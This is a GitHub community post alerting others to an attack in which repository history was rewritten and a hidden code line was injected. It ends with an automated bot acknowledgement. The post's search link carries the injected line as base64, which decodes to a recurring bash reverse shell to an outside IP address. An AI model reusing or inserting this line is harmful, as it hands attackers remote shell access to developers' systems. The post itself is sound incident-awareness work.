⚠️ Security Alert: Coordinated Unauthorized GitHub Repo Access & Hidden Code Injection

[patrick-schneider-latori]

Select Topic Area

Bug

Body

(No response from GitHub Support so far – raising community awareness)

Hi everyone,

I want to raise awareness about a recent coordinated attack affecting multiple GitHub repositories — both public and private — in which an attacker gained unauthorized access, rewrote repository history, and injected malicious code in a way that is easy to overlook.

🔍 What We Observed

• An attacker appears to have gained access to repositories (possibly via compromised SSH keys or access tokens).
• The default branch (master / main) was replaced by a newly created branch.
• Repository history was rewritten, and all files were re-added, making the change appear harmless at first glance.
• Hidden within the large diff is a single malicious code line injected by the attacker.

A clear example of the injected code line can be seen here:

• https://github.com/tarutin/hovrly/blob/0113aeb04ee764a49dbc266d06bc6cc2be2f0bf4/app/index.js#L19

The corresponding commit that rewrites the repository history:

• tarutin/hovrly@0113aeb

We also identified many additional repositories containing the exact same injected code pattern via the following search:

• https://github.com/search?q=eval(Buffer.from(%22c2V0SW50ZXJ2YWwoKCkgPT4gcmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ2Jhc2ggLWMgImJhc2ggLWUgNTw%2BIC9kZXYvdGNwLzE0Mi45My4yMDguNjYvOTAwMSAwPCY1IDE%2BJjUgMj4mNSIgPiAvZGV2L251bGwgMj4mMSAmJyksIDMwMDAwKTsK%22%2C%22base64%22).toString())&type=repositories

At least one of our own private repositories was affected using this exact pattern.

📣 Why I’m Posting This Here

• We have contacted GitHub Support, but have not received any response so far.
• Due to the history rewrite and re-adding of all files, this attack can easily go unnoticed.
• I’m posting here to increase awareness within the community and to see whether others have observed similar incidents.

This post is also related to the following community discussion:

• https://github.com/orgs/community/discussions/172064

❓ Questions for the Community

1. Has anyone else seen repositories where the default branch history was rewritten and malicious code was hidden in a large diff?
2. Do you have insights into possible access vectors (e.g. leaked SSH keys, compromised tokens, OAuth apps, third-party integrations)?
3. Has anyone noticed a potential correlation with developer tooling, such as AI-based tools (e.g. GitHub Copilot), compromised development environments, or credential reuse?
4. Are there effective detection or monitoring strategies you recommend to catch this type of attack earlier?

🛡️ Goal of This Post

The goal is not to speculate or assign blame, but to:

• warn others to review their repositories,
• encourage proactive security checks (branch protection, audit logs, key rotation),
• and gather community insight while waiting for an official response.

If you suspect your repositories might be affected, please review recent commits for:

• large “re-add all files” changes,
• force-pushes or rewritten history,
• and unexpected code lines, especially obfuscated or base64-encoded code.

Thanks for reading, and I appreciate any insights or shared experiences.

[github-actions[bot]]

💬 Your Product Feedback Has Been Submitted 🎉

Thank you for taking the time to share your insights with us! Your feedback is invaluable as we build a better GitHub experience for all our users.

Here's what you can expect moving forward ⏩

• Your input will be carefully reviewed and cataloged by members of our product teams. 
  • Due to the high volume of submissions, we may not always be able to provide individual responses.
  • Rest assured, your feedback will help chart our course for product improvements.
• Other users may engage with your post, sharing their own perspectives or experiences. 
• GitHub staff may reach out for further clarification or insight. 
  • We may 'Answer' your discussion if there is a current solution, workaround, or roadmap/changelog post related to the feedback.

Where to look to see what's shipping 👀

• Read the Changelog for real-time updates on the latest GitHub features, enhancements, and calls for feedback.
• Explore our Product Roadmap, which details upcoming major releases and initiatives.

What you can do in the meantime 💻

• Upvote and comment on other user feedback Discussions that resonate with you.
• Add more information at any point! Useful details include: use cases, relevant labels, desired outcomes, and any accompanying screenshots.

As a member of the GitHub community, your participation is essential. While we can't promise that every suggestion will be implemented, we want to emphasize that your feedback is instrumental in guiding our decisions and priorities.

Thank you once again for your contribution to making GitHub even better! We're grateful for your ongoing support and collaboration in shaping the future of our platform. ⭐